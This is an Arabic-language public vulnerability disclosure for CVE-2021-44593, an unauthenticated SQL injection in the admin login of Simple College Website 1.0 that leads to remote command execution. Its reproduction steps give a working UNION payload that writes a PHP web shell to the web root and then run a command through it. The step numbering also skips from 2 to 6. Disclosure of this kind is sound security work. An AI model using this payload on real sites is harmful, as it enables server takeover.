CVE-2021-44593

إفصاح عام عن CVE-2021-44593. ثغرة حقن SQL/رفع ملفات تعسفي/تنفيذ أوامر عن بُعد في موقع الكلية البسيط.

الوصف

موقع الكلية البسيط الإصدار 1.0 معرّض لثغرة حقن SQL قائمة على UNION بدون مصادقة في معامل "username" في صفحة /admin/login.php، والتي يمكن استغلالها لاحقًا لرفع ملفات تعسفية والحصول على تنفيذ أوامر عن بُعد.

المكونات المتأثرة

الدالة login() في admin_class.php

خطوات إعادة الإنتاج

1. الوصول إلى صفحة تسجيل دخول المشرف (عادةً /admin/login.php)
2. إرسال نموذج تسجيل الدخول مع معامل POST "username" الذي يحتوي على حقن SQL القائم على UNION التالي:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. الانتقال إلى /testing.php?cmd=id

ملاحظات

1. يلزم معرفة موقع الدليل الجذر لخادم الويب.